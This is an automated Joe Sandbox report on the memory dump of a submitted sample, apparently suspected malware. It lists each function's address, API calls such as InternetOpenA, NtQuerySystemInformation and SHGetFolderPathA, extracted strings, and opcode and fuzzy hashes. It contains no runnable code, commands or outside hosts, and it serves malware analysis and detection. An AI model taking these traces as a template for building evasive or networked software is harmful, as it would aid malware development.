Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 419b73d1114cafdf75a183c171001977a78087d38d1c1d05a48007f4e2ee6705
Instruction ID: 01ad8d3c90c4ceeaaec03aedf7c3d888dbbaec641c2f2e4da4fbef9203726440
Opcode Fuzzy Hash: 419b73d1114cafdf75a183c171001977a78087d38d1c1d05a48007f4e2ee6705
Instruction Fuzzy Hash: A622D1305183818FD72ADF24C855FABB7E1BF85305F104A1CF8895B6A2DB749689CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0035D8C1 Relevance: 3.5, APIs: 2, Instructions: 468COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0035D9D3

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: cc34e60892831da60e073398214a90cc232b70765189d7437be36bc63dae1f5c
Instruction ID: a30c4d7611020a519c870c4763ebbf64345f9d8010c608cdee6dc54762a667b1
Opcode Fuzzy Hash: cc34e60892831da60e073398214a90cc232b70765189d7437be36bc63dae1f5c
Instruction Fuzzy Hash: F712F3305183808FD72ADF24C895FAEB7E1BF95305F144A4CF8855B6B2DB749689CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0036BE50 Relevance: 1.6, APIs: 1, Instructions: 133nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?,?,?), ref: 0036BF78

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 12fa1801f7db296e48f1fcbd30c9a1bf67f08a1a76780d55145160ed036e575c
Instruction ID: 819228433ca34e07801af3400406decfa3c380285e9dd1d46407fa4f9baedcfe
Opcode Fuzzy Hash: 12fa1801f7db296e48f1fcbd30c9a1bf67f08a1a76780d55145160ed036e575c
Instruction Fuzzy Hash: 50411730F003448BDB0AAFB4CC46BAEB7B5EF41304F608619F4059F2A6DB75A9C58B91

Uniqueness

Uniqueness Score: -1.00%

Function 0036BCD0 Relevance: 1.6, APIs: 1, Instructions: 122nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?,?,?), ref: 0036BDF8

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 54263fb0e8418457b89b24ab5d248f00b93821a4dd0bda96c6aee0af78bc91fe
Instruction ID: 51ae97fe40d8338fef5e5c18f1a8135abaf37d39f5ed5bc244042da8ebc2cd60
Opcode Fuzzy Hash: 54263fb0e8418457b89b24ab5d248f00b93821a4dd0bda96c6aee0af78bc91fe
Instruction Fuzzy Hash: F9412930E002049BDB0AAF70DC45BAEB7B5EF45304F50864DF901AF2D2DBB5A9848BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00355340 Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5eb47d894c4dc21f9510ac2c5b7ecc00d4592f5d8df4316975112a2377079b
Instruction ID: d10bc94119bbb9d08299417e9676bf2be8960b213dfe0cc0747b33e3bdb18779
Opcode Fuzzy Hash: 5a5eb47d894c4dc21f9510ac2c5b7ecc00d4592f5d8df4316975112a2377079b
Instruction Fuzzy Hash: 29F1AEB1A01B048FDB25CF29C850BAAB7F5FF48315F14066DD9AA97760E770B948CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00360530 Relevance: 16.2, APIs: 4, Strings: 5, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 003607C9
___std_exception_destroy.LIBVCRUNTIME ref: 003607DE
___std_exception_destroy.LIBVCRUNTIME ref: 00360A17
___std_exception_destroy.LIBVCRUNTIME ref: 00360A32

Strings

Te9, xrefs: 003607E3, 00360812
Te9, xrefs: 00360A0C
Te9, xrefs: 003607C1
value, xrefs: 003606EF, 00360940
Te9, xrefs: 00360A1F

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: Te9$Te9$Te9$Te9$value
API String ID: 4194217158-3765628305
Opcode ID: 5831184942f191d3132d9b05f1719b2d04a2124b38ab72436e745df4424e6d30
Instruction ID: 53df12632cbc5962fd5bb12a81826ca80cc0718b5181505b18188f408e7bec85
Opcode Fuzzy Hash: 5831184942f191d3132d9b05f1719b2d04a2124b38ab72436e745df4424e6d30
Instruction Fuzzy Hash: F202E3715183808FD32ADB24C895BAFBBE5BFC5304F048A1DF48997395D774A984CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003564A0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00374780: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,?,?,?,00000000,811C9DC5,00000000), ref: 00374832

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,4DDDE966,00000000,E23B96E7,00000000,960CB4C6,?,00000000,?,?,0035D592,?,00000009), ref: 00356507
GetModuleHandleW.KERNEL32(Wininet.dll,?,00000000,?,?,0035D592,?,00000009), ref: 00356514
FreeLibrary.KERNEL32(00000000,?,00000000,?,?,0035D592,?,00000009), ref: 0035651D
FreeLibrary.KERNEL32(00000000,?,00000000,?,?,0035D592,?,00000009), ref: 00356524
InternetOpenA.WININET(?,00000000,?,?,0035D592,?,00000009), ref: 00356548

Strings

Kernel32.dll, xrefs: 003564B0
Wininet.dll, xrefs: 0035650D
Wininet.dll, xrefs: 003564C7
kernel32.dll, xrefs: 003564FF

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: FreeHandleLibraryModule$ByteCharInternetMultiOpenWide
String ID: Kernel32.dll$Wininet.dll$Wininet.dll$kernel32.dll
API String ID: 17917458-2727469521
Opcode ID: 85353d1a34a9b932a1228865b1727c0bac12c451b0290e9c134dc85bb27a57f9
Instruction ID: 582da0b8b8d2ccb02e4683e2ba918d13ccd24f779587008e1658040bfcb09523
Opcode Fuzzy Hash: 85353d1a34a9b932a1228865b1727c0bac12c451b0290e9c134dc85bb27a57f9
Instruction Fuzzy Hash: E411A531A01210ABDB267F799C8AF5B7A9CEF0A751F004067F505EF256D779EC008BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0037A31A Relevance: 9.3, APIs: 6, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__allrem.LIBCMT ref: 0037A4A2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0037A4BE
__allrem.LIBCMT ref: 0037A4D5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0037A4F3
__allrem.LIBCMT ref: 0037A50A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0037A528

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 4cc5fcb63fc0fb0f33292742b2270eaeef427511029ac7991fc2c2c9b2d6257d
Instruction ID: 72091e931c85f66f88fccaa7d1ab9b0fd26713001a5ba228d14719d4dec14559
Opcode Fuzzy Hash: 4cc5fcb63fc0fb0f33292742b2270eaeef427511029ac7991fc2c2c9b2d6257d
Instruction Fuzzy Hash: D581F871604B02DBE733AF69CC41B5E73E9AF85324F24C629F459DB681E778D9008751

Uniqueness

Uniqueness Score: -1.00%

Function 00387CC2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 156
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0038524E: RtlFreeHeap.NTDLL(00000000,00000000,?,0038BB96,?,00000000,?,?,0038BE37,?,00000007,?,?,0038C3EC,?,?), ref: 00385264
Part of subcall function 0038524E: GetLastError.KERNEL32(?,?,0038BB96,?,00000000,?,?,0038BE37,?,00000007,?,?,0038C3EC,?,?), ref: 0038526F

GetTimeZoneInformation.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00387E75,00000000,00000000,00000000), ref: 00387D34

Strings

}~8, xrefs: 00387D0A, 00387D0D
W. Europe Summer Time, xrefs: 00387DE1
W. Europe Standard Time, xrefs: 00387DCD

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time$}~8
API String ID: 3335090040-2327886507
Opcode ID: 6a557f10be7362b8bbd3970f149e5ea05464f6cffa9789334b82ccd3554346c2
Instruction ID: a01c5e9d869472776763b0773e71deb18dad4b019bd0ca93f45a84ccfe4e1c96
Opcode Fuzzy Hash: 6a557f10be7362b8bbd3970f149e5ea05464f6cffa9789334b82ccd3554346c2
Instruction Fuzzy Hash: 1441D472904315ABCB27BF64DC4699EBB79EF02760B2141E6F814AB1A1EB70DD009B90

Uniqueness

Uniqueness Score: -1.00%

Function 0035EE10 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0035EF00

Strings

0p5, xrefs: 0035EE14, 0035F096, 0035EE5A, 0035F0B4

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: 0p5
API String ID: 118556049-2728821079
Opcode ID: eaf6eeafe5163bc3c602f97f1789f767a2ed07e258834797a9e9b48ec5ef307e
Instruction ID: dd9fe2fcc320885abdaaecc1d69aaeaf3aa33191c5509151d6e57c5e4145135e
Opcode Fuzzy Hash: eaf6eeafe5163bc3c602f97f1789f767a2ed07e258834797a9e9b48ec5ef307e
Instruction Fuzzy Hash: CC213C72A113049BD73A9F74D842A6AB2E8DF04312F11073EF816CB291DB319A484791

Uniqueness

Uniqueness Score: -1.00%

Function 0035FE50 Relevance: 3.3, APIs: 2, Instructions: 265COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0035FF67

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 9b54faf3cc7a002fe1f4cf2e8cc186d829ff38ed1ff45ce8044a41b02ec7de7f
Instruction ID: 93c36b2c54c31f9fba21d1abd367b83a565f405af744e7ea7eb4c27c73174252
Opcode Fuzzy Hash: 9b54faf3cc7a002fe1f4cf2e8cc186d829ff38ed1ff45ce8044a41b02ec7de7f
Instruction Fuzzy Hash: 3B715472A001159FCB2AEF78CC82A6FB3A8EF85351B1542B9EC15EB351DB30ED158791

Uniqueness

Uniqueness Score: -1.00%

Function 0038524E Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0038BB96,?,00000000,?,?,0038BE37,?,00000007,?,?,0038C3EC,?,?), ref: 00385264
GetLastError.KERNEL32(?,?,0038BB96,?,00000000,?,?,0038BE37,?,00000007,?,?,0038C3EC,?,?), ref: 0038526F

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8b246e8d89a21940a667ec47a1a308f5d03b1ceced65f3e8aa0493cf6eb6b359
Instruction ID: f80a5b10bac0c799db1d0fdd801f261892076ea375c3ba4b744e07e05cdf918a
Opcode Fuzzy Hash: 8b246e8d89a21940a667ec47a1a308f5d03b1ceced65f3e8aa0493cf6eb6b359
Instruction Fuzzy Hash: 37E08C32504B04AFCB332FA0AC0AB997B6CAB00391F414061F60C8A160DB399850C794

Uniqueness

Uniqueness Score: -1.00%

Function 0035FF80 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 003600D3

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: bb896479fcb77cb24a1ade57c71640002f81142846f9b7e9dea8cb5cf785a998
Instruction ID: 955728d08cb6fb7eafae87c22b4003c600125f5eed2c5e4b2faee5a5d6d2c822
Opcode Fuzzy Hash: bb896479fcb77cb24a1ade57c71640002f81142846f9b7e9dea8cb5cf785a998
Instruction Fuzzy Hash: 3731F572A001199FCF1ADF68CC82AAFB7B4FF44300B1045A9E815EB345D770EE558B91

Uniqueness

Uniqueness Score: -1.00%

Function 00374C1C Relevance: 1.6, APIs: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00355FFE

Part of subcall function 0037650E: RaiseException.KERNEL32(E06D7363,00000001,00000003,00355FDC,?,?,?,?,00355FDC,?,003A5A7C), ref: 0037656E

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID:
API String ID: 3109751735-0
Opcode ID: c9cd6ad3afdcba1510ee1c7de334b0ee972e6d6baccea915118f40ca9ead844e
Instruction ID: d2f409187343bd8964eb5df2b762b66b9fa5d7f1c000b0de178379071a5c1a3b
Opcode Fuzzy Hash: c9cd6ad3afdcba1510ee1c7de334b0ee972e6d6baccea915118f40ca9ead844e
Instruction Fuzzy Hash: 79012635800B0D7BCB26BAA8EC12D89B36CDE06320B50C521FA18EA491FBB4F95487D1

Uniqueness

Uniqueness Score: -1.00%

Function 003851F1 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00386317,00000001,00000364,?,00000006,000000FF,?,?,0037B141,0038669F), ref: 00385232

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6f11d5e1fed936a5cae91e1930be5abcca60f14b47330e4a42eabf84e69953f1
Instruction ID: 581b40e61fe79aa031d3650cfeef3cf1ea1c6f98c9603af3eb154d2d84ee4c31
Opcode Fuzzy Hash: 6f11d5e1fed936a5cae91e1930be5abcca60f14b47330e4a42eabf84e69953f1
Instruction Fuzzy Hash: FDF0E932615B246ADB237B369C06B9B775DAF91760F1648D1BC14DA190CF30D90087E0

Uniqueness

Uniqueness Score: -1.00%

Function 0038665C Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,003513C8,00000000,?), ref: 0038668E

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4891e37b7206c84f5b91ceb0085094caab916664003b50908c8dabdc4a2f238d
Instruction ID: 21b22c2a75f031958dcaa4783396e35c81541d076fd82b8d3e5657f26ff96cb1
Opcode Fuzzy Hash: 4891e37b7206c84f5b91ceb0085094caab916664003b50908c8dabdc4a2f238d
Instruction Fuzzy Hash: 56E02B311043905AD73337759C03B5BB68C9F413B4F1701A1BC0996280FF10DC0087E5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00363BE3 Relevance: 16.4, APIs: 2, Strings: 7, Instructions: 690COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0036453A

Strings

parse_error, xrefs: 003645EE
object separator, xrefs: 00364130, 00364385
parse error, xrefs: 00364668
array, xrefs: 003642AE
object key, xrefs: 003641C9, 003643B4
object, xrefs: 00364356
Te9, xrefs: 003647C6

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: Te9$array$object$object key$object separator$parse error$parse_error
API String ID: 118556049-1052598150
Opcode ID: b9aab26418535dbf1506ba19a845285e16523048d261b6b5f795375f767741b6
Instruction ID: 82614b94480177b2f767f7bc92eb424754008d9a7f1ca55e0deb55c49914f193
Opcode Fuzzy Hash: b9aab26418535dbf1506ba19a845285e16523048d261b6b5f795375f767741b6
Instruction Fuzzy Hash: 9142D970D102099FDB1ADFA4CC95BEDBBB5EF15300F14866DE406EB246EB749A84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0037DFC0 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 455COMMON

Download Yara Rule

Strings

N'9, xrefs: 0037DFDE, 0037E176, 0037E341, 0037E396
N'9, xrefs: 0037E421, 0037E210

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: N'9$N'9
API String ID: 0-4015299821
Opcode ID: 7c5a4e439db4260b8ba97fc2a09b4b01db6ba13208e6a6a6efe7f77be1289794
Instruction ID: 751d774ffd85f188cfd791b4530143c4ab75dac8635fa40afbac7a1d388ff0aa
Opcode Fuzzy Hash: 7c5a4e439db4260b8ba97fc2a09b4b01db6ba13208e6a6a6efe7f77be1289794
Instruction Fuzzy Hash: 9E024E75E002199BDF25CFA9C880AAEFBF5FF48314F1582A9E519EB341D735A901CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0039142E Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00391645

Strings

1#IND, xrefs: 00391533
1#QNAN, xrefs: 00391541
1#INF, xrefs: 00391564
1#SNAN, xrefs: 0039153A

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d06f69d364ee34a3c2d1e248609cd19968a3a4677afc982ffd880462abdef489
Instruction ID: 2d4a7e44c664b92a6cf90f0084441309e21b17233e6551464aa034ac94d62acd
Opcode Fuzzy Hash: d06f69d364ee34a3c2d1e248609cd19968a3a4677afc982ffd880462abdef489
Instruction Fuzzy Hash: B7D23A72E086299FDF66CE28CD407EAB7B9EB45305F1541EAD40DE7240E778AE818F41

Uniqueness

Uniqueness Score: -1.00%

Function 00363D20 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 415COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0036453A

Strings

parse_error, xrefs: 003645EE
parse error, xrefs: 00364668
Te9, xrefs: 003647C6

Memory Dump Source

